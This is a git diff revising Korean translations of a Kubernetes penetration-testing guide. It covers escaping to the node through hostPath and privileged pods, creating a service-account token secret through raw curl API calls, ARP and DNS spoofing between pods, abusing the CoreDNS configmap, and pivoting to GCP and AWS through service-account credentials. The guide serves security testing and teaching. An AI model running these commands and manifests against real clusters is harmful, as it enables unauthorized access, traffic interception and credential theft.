{{#endtab }} {{#endtabs }} -### 네트워크 정책 / Cilium Network Policies 가져오기 +### 네트워크 Policies / Cilium Network Policies 가져오기 {{#tabs }} {{#tab name="First Tab" }} @@ -477,7 +506,10 @@ k get networkpolicies k get CiliumNetworkPolicies k get CiliumClusterwideNetworkPolicies ``` -### 모든 것 / 전체 +{{#endtab }} +{{#endtabs }} + +### 모두 가져오기 / 전체 {{#tabs }} {{#tab name="kubectl" }} @@ -487,7 +519,7 @@ k get all {{#endtab }} {{#endtabs }} -### **helm가 관리하는 모든 리소스 가져오기** +### **helm로 관리되는 모든 resources 가져오기** {{#tabs }} {{#tab name="kubectl" }} @@ -497,7 +529,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' {{#endtab }} {{#endtabs }} -### **Pod 소비량 가져오기** +### **Pod 사용량 확인** {{#tabs }} {{#tab name="kubectl" }} @@ -509,11 +541,11 @@ k top pod --all-namespaces ## kubectl을 사용하지 않고 cluster와 상호작용하기 -Kubernetes control plane이 REST-ful API를 노출한다는 점을 보면, 직접 HTTP request를 만들어 **curl** 또는 **wget** 같은 다른 도구로 보낼 수 있습니다. +Kubernetes control plane이 REST-ful API를 노출한다는 점을 보면, 직접 HTTP 요청을 만들어 **curl** 또는 **wget** 같은 다른 도구로 보낼 수 있습니다. ### pod에서 탈출하기 -새로운 pod를 생성할 수 있다면 node로 탈출할 수 있을지도 모릅니다. 이를 위해 yaml file을 사용해 새 pod를 생성하고, 생성된 pod로 전환한 다음 node의 system으로 chroot해야 합니다. 기존 pod들은 이미 존재하는 images와 pathes를 보여주므로, yaml file의 reference로 사용할 수 있습니다. +새 pod를 생성할 수 있다면, 그것에서 node로 탈출할 수 있을지도 모릅니다. 이를 위해 yaml 파일을 사용해 새 pod를 만들고, 생성된 pod로 전환한 다음 node의 system으로 chroot해야 합니다. 이미 존재하는 pod들은 기존 images와 pathes를 보여주므로, yaml 파일의 참고용으로 사용할 수 있습니다. ```bash kubectl get pod [-n ] -o yaml ``` @@ -521,7 +553,7 @@ kubectl get pod [-n ] -o yaml > > `k get nodes --show-labels` > -> 보통 `kubernetes.io/hostname`과 `node-role.kubernetes.io/master`는 선택에 좋은 label입니다. +> 일반적으로 kubernetes.io/hostname과 node-role.kubernetes.io/master는 선택에 좋은 label입니다. 그런 다음 attack.yaml file을 생성합니다 ```yaml @@ -555,7 +587,7 @@ restartPolicy: Never ``` [original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) -그 다음 pod를 생성합니다 +그런 다음 pod를 생성합니다 ```bash kubectl apply -f attacker.yaml [-n ] ``` @@ -569,9 +601,9 @@ chroot /root /bin/bash ``` Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) -### privileged pod 생성 +### privileged pod 생성하기 -해당하는 yaml file은 다음과 같습니다: +대응하는 yaml 파일은 다음과 같다: ```yaml apiVersion: v1 kind: Pod @@ -599,7 +631,7 @@ volumes: hostPath: path: / ``` -curl로 pod 생성하기: +curl로 pod를 생성: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -757,7 +789,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Secret 삭제 +### Secret 삭제하기 ```bash CONTROL_PLANE_HOST="" TOKEN="" diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 0ee5eb4b0..8bd0ff396 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -4,16 +4,16 @@ ## Introduction -Kubernetes에서는 기본 동작으로 **same node**에 있는 **모든 containers** 간의 연결이 허용되는 것으로 관찰됩니다. 이는 namespace 구분과 무관하게 적용됩니다. 이러한 연결성은 **Layer 2** (Ethernet)까지 확장됩니다. 결과적으로 이 설정은 시스템을 취약하게 만들 수 있습니다. 구체적으로, 같은 node에 위치한 다른 containers에 대해 **malicious container**가 **ARP spoofing attack**을 실행할 가능성을 열어줍니다. 이 공격 동안 malicious container는 다른 containers를 대상으로 하는 network traffic을 교묘하게 가로채거나 수정할 수 있습니다. +Kubernetes에서는 기본 동작으로 **같은 node에 있는 모든 container 간 연결**이 허용되는 것이 관찰됩니다. 이는 namespace 구분과 무관하게 적용됩니다. 이러한 연결성은 **Layer 2** (Ethernet)까지 이어집니다. 따라서 이 설정은 잠재적으로 시스템을 취약하게 만들 수 있습니다. 특히, 같은 node에 위치한 다른 container를 대상으로 **malicious container**가 **ARP spoofing attack**을 수행할 수 있게 됩니다. 이러한 attack 동안 malicious container는 다른 container를 위해 의도된 network traffic을 기만적으로 가로채거나 수정할 수 있습니다. -ARP spoofing attacks는 **attacker가 위조된 ARP** (Address Resolution Protocol) 메시지를 local area network를 통해 전송하는 것을 포함합니다. 그 결과 **attacker의 MAC address가 network상의 정상 computer 또는 server의 IP address와 연결**됩니다. 이러한 공격이 성공적으로 수행된 후, attacker는 전송 중인 data를 가로채거나, 수정하거나, 심지어 중단할 수도 있습니다. 이 공격은 OSI model의 Layer 2에서 수행되므로, 이 계층에서 Kubernetes의 기본 연결성은 security concerns를 야기합니다. +ARP spoofing attack은 **attacker가 위조된 ARP** (Address Resolution Protocol) 메시지를 local area network를 통해 보내는 것을 포함합니다. 그 결과 **attacker의 MAC address가 네트워크상의 정상 computer 또는 server의 IP address와 연결**됩니다. 이러한 attack이 성공적으로 실행된 후에는 attacker가 전송 중인 data를 가로채거나, 수정하거나, 심지어 중단시킬 수도 있습니다. 이 attack은 OSI model의 Layer 2에서 수행되므로, Kubernetes에서 이 계층의 기본 연결성은 security concerns를 야기합니다. -이 시나리오에서는 4 machines가 생성됩니다: +이 scenario에서는 4 machines가 생성됩니다: -- ubuntu-pe: node로 escape하고 metrics를 확인하기 위한 Privileged machine (attack에는 필요 없음) +- ubuntu-pe: node로 escape하고 metrics를 확인하기 위한 privileged machine (attack에는 필요하지 않음) - **ubuntu-attack**: default namespace의 **malicious** container -- **ubuntu-victim**: kube-system namespace의 **Victim** machine -- **mysql**: default namespace의 **Victim** machine +- **ubuntu-victim**: kube-system namespace의 **victim** machine +- **mysql**: default namespace의 **victim** machine ```yaml echo 'apiVersion: v1 kind: Pod @@ -102,16 +102,32 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba ### ARP -일반적으로, **node 내부의 pod-to-pod networking**은 모든 pod를 연결하는 **bridge**를 통해 제공됩니다. 이 bridge는 “**cbr0**”라고 불립니다. (일부 network plugins는 자체 bridge를 설치합니다.) **cbr0는 ARP** (Address Resolution Protocol) resolution도 처리할 수 있습니다. incoming packet이 cbr0에 도착하면, ARP를 사용해 destination MAC address를 resolve할 수 있습니다. +일반적으로, **node 내부의 pod-to-pod networking**은 모든 pod를 연결하는 **bridge**를 통해 제공됩니다. 이 bridge는 “**cbr0**”라고 불립니다. (일부 network plugin은 자체 bridge를 설치합니다.) **cbr0는 ARP** (Address Resolution Protocol) resolution도 처리할 수 있습니다. incoming packet이 cbr0에 도착하면, ARP를 사용해 destination MAC address를 resolve할 수 있습니다. -이 사실은 기본적으로 **같은 node에서 실행 중인 모든 pod**가 ethernet level (layer 2)에서 같은 node의 다른 어떤 pod와도 **communicate**할 수 있음을 의미합니다. (namespace와는 무관하게) +이 사실은 기본적으로 **같은 node에서 실행 중인 모든 pod**가 같은 node의 다른 어떤 pod와도 namespace와 무관하게 ethernet level (layer 2)에서 **communicate**할 수 있음을 의미합니다. > [!WARNING] -> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.** +> 따라서, 같은 node의 pod 사이에서 A**RP Spoofing attacks**를 수행할 수 있습니다. + +### NetworkPolicy and admin policy layers + +Kubernetes `NetworkPolicy`는 L3/L4에서의 pod traffic control이지만, API server 자체가 아니라 CNI plugin에 의해 enforced됩니다. cluster는 NetworkPolicy objects를 저장하면서도, active CNI가 이를 구현하지 않으면 traffic을 계속 허용할 수 있으므로, 항상 controlled allowed source와 blocked negative-control source로 검증하세요. + +`kubectl get networkpolicy -A`에서 멈추지 마세요. Cilium, Calico, OVN-Kubernetes, Antrea, 또는 managed-provider dataplanes를 사용하는 cluster에는 `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, 또는 `BaselineAdminNetworkPolicy` 같은 policy API도 있을 수 있습니다. 이런 것들은 explicit deny, tier/order, cluster scope, L7/DNS rules, 또는 일반적인 additive Kubernetes NetworkPolicy semantics로는 설명되지 않는 admin guardrails를 추가할 수 있습니다. + +유용한 첫 번째 확인: +```bash +kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico' +kubectl get networkpolicy -A +kubectl get cnp,ccnp -A 2>/dev/null +kubectl get globalnetworkpolicy -A 2>/dev/null +kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null +``` +우회 분석을 위해, 의도된 차단이 허용된 proxy, DNS 또는 egress gateway, `hostNetwork` pod, node-local path, 넓은 namespace 또는 pod label selector, 또는 더 높은 우선순위의 admin/global policy를 통해 회피되는지 확인하세요. source pod labels, namespace labels, destination Service 또는 EndpointSlice, CNI/policy implementation, 판단에 사용된 policy rule, 그리고 traffic proof를 보고하세요. ### DNS -kubernetes 환경에서는 보통 kube-system namespace에 실행 중인 1개(또는 그 이상)의 **DNS services**를 찾을 수 있습니다: +kubernetes 환경에서는 보통 kube-system namespace에서 1개(또는 그 이상)의 **DNS 서비스가 실행 중**인 것을 찾을 수 있습니다: ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,30 +152,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -이전 정보에서 흥미로운 점을 볼 수 있습니다. **service의 IP**는 **10.96.0.10**이지만, service를 실행하는 **pod의 IP**는 **172.17.0.2**입니다. +이전 정보에서 흥미로운 점을 볼 수 있습니다. **서비스의 IP**는 **10.96.0.10**이지만, 해당 서비스를 실행 중인 **pod의 IP**는 **172.17.0.2**입니다. -어떤 pod 안에서든 DNS 주소를 확인하면 다음과 같은 것을 찾을 수 있습니다: +어떤 pod 안에서든 DNS 주소를 확인하면 다음과 같은 것을 볼 수 있습니다: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26. +그러나 pod는 해당 **주소**로 가는 방법을 **모릅니다**. 이 경우 **pod range**는 172.17.0.10/26이기 때문입니다. -Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**. +따라서 pod는 **DNS requests를 주소 10.96.0.10로 전송**하며, 이는 cbr0에 의해 **172.17.0.2로 변환**됩니다. > [!WARNING] -> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod. +> 이는 pod의 **DNS request**가 DNS server가 pod와 같은 subnetwork에 있더라도, **service IP를 endpoint IP로 변환**하기 위해 **항상** **bridge**를 거친다는 뜻입니다. > -> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**). +> 이를 알고, **ARP attacks are possible**하다는 점을 알면, node 안의 **pod**는 **각 pod**와 **bridge** 사이의 **subnetwork** 트래픽을 **intercept**하고 DNS server의 **DNS responses**를 수정할 수 있습니다(**DNS Spoofing**). > -> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses. +> 게다가, **DNS server**가 attacker와 **같은 node**에 있다면, attacker는 cluster의 어떤 pod에 대해서도 **모든 DNS request**를 (**DNS server**와 bridge 사이에서) **intercept**하고 응답을 수정할 수 있습니다. > [!NOTE] -> 실제 클러스터에서 이게 동작한다고 가정하기 전에 활성 CNI와 DNS 경로를 검증하세요. 일부 CNI는 같은 노드 트래픽을 다르게 라우팅하거나 격리하며, NodeLocal DNSCache를 사용하는 클러스터는 CoreDNS로 전달하기 전에 pod DNS 쿼리를 node-local 주소로 보낼 수 있습니다. 이런 환경에서는 DNS spoofing이 pod 배치, packet 권한, resolver 설정, node-local cache 동작, 그리고 애플리케이션이 TLS나 다른 identity mechanism으로 피어를 검증하는지 여부에 따라 달라집니다. +> 실제 cluster에서 이것이 동작한다고 가정하기 전에 활성 CNI와 DNS path를 검증하세요. 일부 CNI는 같은 node 트래픽을 다르게 route하거나 isolate하며, NodeLocal DNSCache를 사용하는 cluster는 pod DNS query를 CoreDNS로 전달하기 전에 node-local address로 보낼 수 있습니다. 이러한 환경에서는 DNS spoofing이 pod placement, packet capabilities, resolver configuration, node-local cache behavior, 그리고 applications가 TLS나 다른 identity mechanism으로 peer를 검증하는지 여부에 따라 달라집니다. -## ARP Spoofing in pods in the same Node +## 같은 Node의 pods에서 ARP Spoofing -Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**. +우리의 목표는 **ubuntu-victim에서 mysql로 가는 통신 최소한을 훔치는 것**입니다. ### Scapy ```bash @@ -236,16 +252,16 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -이미 언급했듯이, **DNS server pod와 같은 노드의 pod를 compromise**하면, **ARPSpoofing**으로 **bridge와 DNS** pod 사이에서 **MitM**을 수행하고 **모든 DNS 응답을 수정**할 수 있습니다. +이미 언급했듯이, **DNS server pod와 같은 node 안의 pod를 compromise**하면, **ARPSpoofing**으로 **bridge와 DNS** pod 사이에서 **MitM**할 수 있고 **모든 DNS responses를 modify**할 수 있습니다. -이것을 테스트할 수 있는 아주 좋은 **tool**과 **tutorial**이 [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)에 있습니다. +이것을 테스트할 수 있는 정말 좋은 **tool**과 **tutorial**이 [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)에 있습니다. -우리 시나리오에서는, attacker pod에서 **tool을 download**하고 다음과 같이 **spoof**할 **domains**를 담은 **`hosts`라는 파일**을 만드세요: +우리 시나리오에서는, attacker pod에서 **tool**을 **download**하고 다음처럼 **spoof**하고 싶은 **domains**가 들어 있는 **`hosts`라는 file**을 생성합니다: ``` cat hosts google.com. 1.1.1.1 ``` -ubuntu-victim 머신에 공격을 수행하세요: +ubuntu-victim 머신에 대해 공격을 수행하세요: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 @@ -268,21 +284,21 @@ google.com. 1 IN A 1.1.1.1 ## DNS Spoofing via coreDNS configmap -`coredns` ConfigMap에 대한 write 권한이 있는 사용자는 `kube-system` namespace에서 클러스터의 DNS 응답을 수정할 수 있습니다. +`coredns` configmap에 대한 write permissions가 있는 사용자는 kube-system namespace의 cluster DNS 응답을 수정할 수 있습니다. -또한 NodeLocal DNSCache가 배포되어 있는지도 확인하세요. 보통 hostNetwork DaemonSet으로 실행되며, 자체 ConfigMap, logs, cache, forwarding path를 가집니다. CoreDNS 변경이 DNS 동작에 영향을 주거나 이를 관찰할 수 있는 유일한 지점은 아닐 수 있습니다. +또한 배포되어 있다면 NodeLocal DNSCache도 확인하세요. 보통 hostNetwork DaemonSet으로 실행되며, 자체 ConfigMap, logs, cache, 그리고 forwarding path를 가집니다. CoreDNS 변경이 DNS 동작에 영향을 주거나 이를 관찰할 수 있는 유일한 지점은 아닐 수 있습니다. -이 공격에 대한 더 자세한 정보는 다음에서 확인하세요: +이 공격에 대한 더 많은 정보는 다음에서 확인하세요: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} -## 노출된 kubernetes management services 악용 +## Abusing exposed kubernetes management services -Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, Kubernetes dashboard 같은 서비스는 종종 인터넷이나 kubernetes network 내부에 노출되어 있습니다. **kubernetes를 관리하는 데 사용되는 플랫폼을 찾아 접근하는 데 성공한 공격자**는 이를 악용해 kubernetes API에 접근하고, 새 pod 생성, 기존 pod 수정, 심지어 삭제 같은 작업을 수행할 수 있습니다. +Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, 그리고 Kubernetes dashboard 같은 서비스는 종종 인터넷이나 kubernetes network 내부에 노출됩니다. **kubernetes를 관리하는 데 사용되는 어떤 플랫폼이든 찾아서 접근하는 데 성공한 공격자**는 이를 악용해 kubernetes API에 접근하고 새 pods를 생성하거나, 기존 pods를 수정하거나, 심지어 삭제하는 등의 작업을 수행할 수 있습니다. -## kubernetes network policies 열거 +## Enumerating kubernetes network policies 설정된 **networkpolicies** 가져오기: ```bash @@ -296,14 +312,14 @@ Get **Cillium** network policies: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` -네트워크 plugin 또는 security solution에 의해 설치된 다른 policy 관련 CRD를 확인하세요: +네트워크 plugin 또는 security solution이 설치한 다른 policy-related CRD를 확인하세요: ```bash kubectl get crd | grep -i policy ``` -## 트래픽 캡처 +## Traffic 캡처 -도구 [**Mizu**](https://github.com/up9inc/mizu)는 Kubernetes용으로 **API traffic viewer**를 제공하는 간단하지만 강력한 도구로, **microservices 간의 모든 API communication을 확인**할 수 있게 해 주어 디버그와 회귀 문제 해결에 도움을 줍니다.\ -선택한 pod들에 agent를 설치하고 해당 traffic 정보를 수집해 web server에서 보여줍니다. 다만 이를 위해서는 높은 K8s 권한이 필요합니다(그리고 그다지 stealthy하지도 않습니다). +도구 [**Mizu**](https://github.com/up9inc/mizu)는 Kubernetes를 위한 간단하지만 강력한 API **traffic viewer**로, **microservices 간의 모든 API communication을 볼 수 있게 해주며** debug하고 regression을 troubleshoot하는 데 도움을 줍니다.\ +이 도구는 선택한 pods에 agents를 설치하고 그들의 traffic information을 수집한 뒤 web server에 표시합니다. 다만, 이를 위해서는 높은 K8s permissions가 필요합니다(그리고 그리 stealthy하지도 않습니다). ## References diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 56ca46a72..f62676f22 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,51 +4,51 @@ ## GCP -GCP 안에서 k8s cluster를 실행하고 있다면, cluster 내부에서 실행되는 어떤 application이 GCP에 대한 access를 가지길 원할 가능성이 큽니다. 이를 수행하는 일반적인 방법은 2가지가 있습니다: +GCP 안에서 k8s cluster를 운영 중이라면, cluster 내부에서 실행되는 어떤 application이 GCP에 접근할 수 있기를 원할 것입니다. 이를 수행하는 일반적인 방법은 2가지가 있습니다: -### Mounting GCP-SA keys as secret +### GCP-SA keys를 secret으로 Mounting -**kubernetes application에 GCP access를 부여**하는 일반적인 방법은 다음과 같습니다: +**kubernetes application이 GCP에 access**하도록 주는 일반적인 방법은 다음과 같습니다: -- GCP Service Account를 생성 -- 원하는 permissions를 그 계정에 bind -- 생성된 SA의 json key를 다운로드 -- pod 내부에 secret으로 mount -- GOOGLE_APPLICATION_CREDENTIALS environment variable을 json이 있는 path로 가리키게 설정 +- GCP Service Account를 Create +- 원하는 permissions를 그 Account에 Bind +- 생성된 SA의 json key를 Download +- pod 내부에 secret으로 Mount +- json이 있는 path를 가리키도록 GOOGLE_APPLICATION_CREDENTIALS environment variable을 Set > [!WARNING] -> 따라서 **attacker**라면, pod 내부의 container를 compromise했을 때 이 **env** **variable**과 GCP credentials가 들어 있는 **json** **files**를 확인해야 합니다. +> 따라서 **attacker**로서 pod 내부의 container를 compromise했다면, GCP credentials가 들어 있는 **env** **variable**과 **json** **files**를 check해야 합니다. -### Relating GSA json to KSA secret +### GSA json을 KSA secret에 Relating -GSA에 GKE cluser에서 access를 부여하는 한 가지 방법은 다음과 같이 bind하는 것입니다: +GSA에 GKE cluster에 대한 access를 주는 한 가지 방법은 다음 방식으로 bind하는 것입니다: -- 다음 command를 사용하여 GKE cluster와 같은 namespace에 Kubernetes service account를 생성합니다: +- 다음 command를 사용하여 GKE cluster와 같은 namespace에 Kubernetes service account를 Create: ```bash kubectl create serviceaccount ``` -- GKE 클러스터에 액세스를 부여하려는 GCP service account의 credentials를 포함하는 Kubernetes Secret을 생성합니다. 다음 예시에서 보듯이 `gcloud` command-line tool을 사용해 이를 수행할 수 있습니다: +- GKE cluster에 access를 grant하려는 GCP service account의 credentials를 포함하는 Kubernetes Secret을 생성합니다. 다음 예시와 같이 `gcloud` command-line tool을 사용하여 이를 수행할 수 있습니다: ```bash gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- 다음 명령을 사용하여 Kubernetes Secret을 Kubernetes service account에 바인딩하세요: +- 다음 명령을 사용하여 Kubernetes Secret를 Kubernetes service account에 바인딩합니다: ```bash kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> **두 번째 단계**에서 **GSA의 credentials가 KSA의 secret으로** 설정되었습니다. 따라서 **GKE** 클러스터 **내부**에서 그 **secret을 읽을 수 있다면**, 해당 **GCP service account**로 **escalate**할 수 있습니다. +> **두 번째 단계**에서 **GSA의 credentials**를 **KSA의 secret**으로 설정했습니다. 그러면 **GKE** cluster **내부에서** 그 **secret**을 **읽을 수 있다면**, 그 **GCP service account**로 **escalate**할 수 있습니다. ### GKE Workload Identity With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs. -이 동작을 활성화하기 위한 **첫 번째 일련의 단계**는 **GCP에서 Workload Identity를 활성화**하고([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) k8s가 가장할 GCP SA를 생성하는 것입니다. +이 동작을 활성화하는 **첫 번째 단계들**은 **GCP에서 Workload Identity를 enable**하는 것([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))과 k8s가 impersonate할 GCP SA를 생성하는 것입니다. -- **새 cluster에서 Workload Identity 활성화** +- 새 cluster에서 **Enable Workload Identity** ```bash gcloud container clusters update \ --region=us-central1 \ @@ -59,7 +59,7 @@ gcloud container clusters update \ # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- GCP 권한이 있는 K8s에서 **가장할 GCP Service Account**를 생성합니다: +- GCP 권한이 있는 K8s에서 **대리할 GCP Service Account**를 생성합니다: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **클러스터에 연결**하고 사용할 **service account**를 **생성**하세요 +- **클러스터**에 **Connect**하고 사용할 **service account**를 **create**하세요 ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **GSA를 KSA에 bind하기** +- **GSA를 KSA에 Bind** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> K8s 내부의 공격자로서 **`iam.gke.io/gcp-service-account` annotation**이 있는 **SAs**를 **검색**해야 합니다. 이는 해당 SA가 GCP의 무언가에 접근할 수 있음을 의미합니다. 또 다른 방법은 cluster 내의 각 KSA를 악용해 보고 접근 권한이 있는지 확인하는 것입니다.\ -> GCP에서는 bindings를 열거하고 **Kubernetes 내부의 SAs에 어떤 access를 부여하고 있는지** 파악하는 것이 항상 흥미롭습니다. +> K8s 내부의 공격자로서 **`iam.gke.io/gcp-service-account` annotation**이 있는 **SAs**를 **검색**해야 합니다. 이는 해당 SA가 GCP의 어떤 리소스에 접근할 수 있음을 의미합니다. 또 다른 방법은 클러스터의 각 KSA를 악용해 보고 접근 권한이 있는지 확인하는 것입니다.\ +> GCP에서는 binding을 열거하고 **Kubernetes 내부의 SAs에 어떤 access를 부여하고 있는지** 아는 것이 항상 유용합니다. -이것은 **모든 pods** 정의를 쉽게 **반복**하면서 해당 **annotation**을 **찾기** 위한 script입니다: +이것은 **그 annotation**을 **찾기 위해** 모든 pod 정의를 쉽게 **반복**하는 스크립트입니다: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Pods에 IAM Roles를 부여하는 (구식) 방법 중 하나는 [**Kiam**](https://github.com/uswitch/kiam) 또는 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.**를 사용하는 것입니다. 기본적으로 클러스터에서 **특정 privileged IAM role**을 가진 **daemonset**을 실행해야 합니다. 이 daemonset이 필요한 pod들에게 IAM roles 접근 권한을 부여하게 됩니다. +Pod에 IAM Roles를 부여하는 (구식) 방법 중 하나는 [**Kiam**](https://github.com/uswitch/kiam) 또는 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server**를 사용하는 것입니다. 기본적으로 클러스터에서 **일종의 privileged IAM role**을 가진 **daemonset**을 실행해야 합니다. 이 daemonset이 필요한 pod들에게 IAM roles 접근 권한을 부여하게 됩니다. -먼저 **namespace 내부에서 어떤 roles에 접근할 수 있는지**를 설정해야 하며, 이는 namespace object 안의 annotation으로 지정합니다: +우선 **namespace 내부에서 어떤 roles에 접근할 수 있는지**를 설정해야 하며, 이는 namespace object 안의 annotation으로 수행합니다: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -네임스페이스가 Pods가 사용할 수 있는 IAM roles로 구성되면, **각 pod 정의에서 원하는 role을 다음과 같이 지정할 수 있습니다**: +네임스페이스가 Pods가 가질 수 있는 IAM roles로 구성되면, 각 pod definition에서 원하는 role을 **다음과 같이 지정할 수 있습니다**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> 공격자로서, pods 또는 namespaces에서 **이 annotations를 찾거나**, kiam/kube2iam server가 실행 중이라면(아마도 kube-system에서) **pods가 이미 사용 중인 모든 r**ole과 그 이상을 impersonate할 수 있습니다( AWS account에 접근할 수 있다면 roles를 enumerate하세요). +> 공격자로서, pods나 namespaces 또는 실행 중인 kiam/kube2iam server(kube-system에 있을 가능성이 높음)에서 **이 annotations를 찾으면**, 이미 **pods가 사용 중인 모든 r**ole을 그리고 그 이상을 **impersonate**할 수 있습니다(AWS account에 접근할 수 있다면 roles를 enumerate 하세요). #### Create Pod with IAM Role > [!NOTE] -> 지정해야 하는 IAM role은 kiam/kube2iam role과 동일한 AWS account에 있어야 하며, 그 role은 해당 role에 접근할 수 있어야 합니다. +> 지정할 IAM role은 kiam/kube2iam role과 같은 AWS account에 있어야 하며, 그 role이 해당 role에 접근할 수 있어야 합니다. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### OIDC를 통한 K8s Service Accounts용 IAM Role +### IAM Role for K8s Service Accounts via OIDC -이것은 **AWS가 권장하는 방식**입니다. +이것은 **AWS에서 권장하는 방식**입니다. 1. 먼저 [클러스터용 OIDC provider를 생성](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)해야 합니다. -2. 그런 다음 SA가 필요로 하는 권한을 가진 IAM role을 생성합니다. -3. [IAM role과 SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 이름(또는 namespace 내의 모든 SA에 role 접근을 허용하는 namespace) 사이에 [trust relationship](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)을 생성합니다. _trust relationship은 주로 OIDC provider 이름, namespace 이름, 그리고 SA 이름을 확인합니다_. -4. 마지막으로, **role의 ARN을 지정하는 annotation이 있는 SA를 생성**하면, 그 SA로 실행되는 pods는 **role의 token에 접근**할 수 있습니다. **token**은 파일 안에 **written**되며, 경로는 **`AWS_WEB_IDENTITY_TOKEN_FILE`**에 지정됩니다 (기본값: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +2. 그다음 SA가 필요로 하는 권한을 가진 IAM role을 생성합니다. +3. IAM role과 SA 이름(또는 해당 namespace의 모든 SA에 role access를 주는 namespace들) 사이에 [trust relationship을 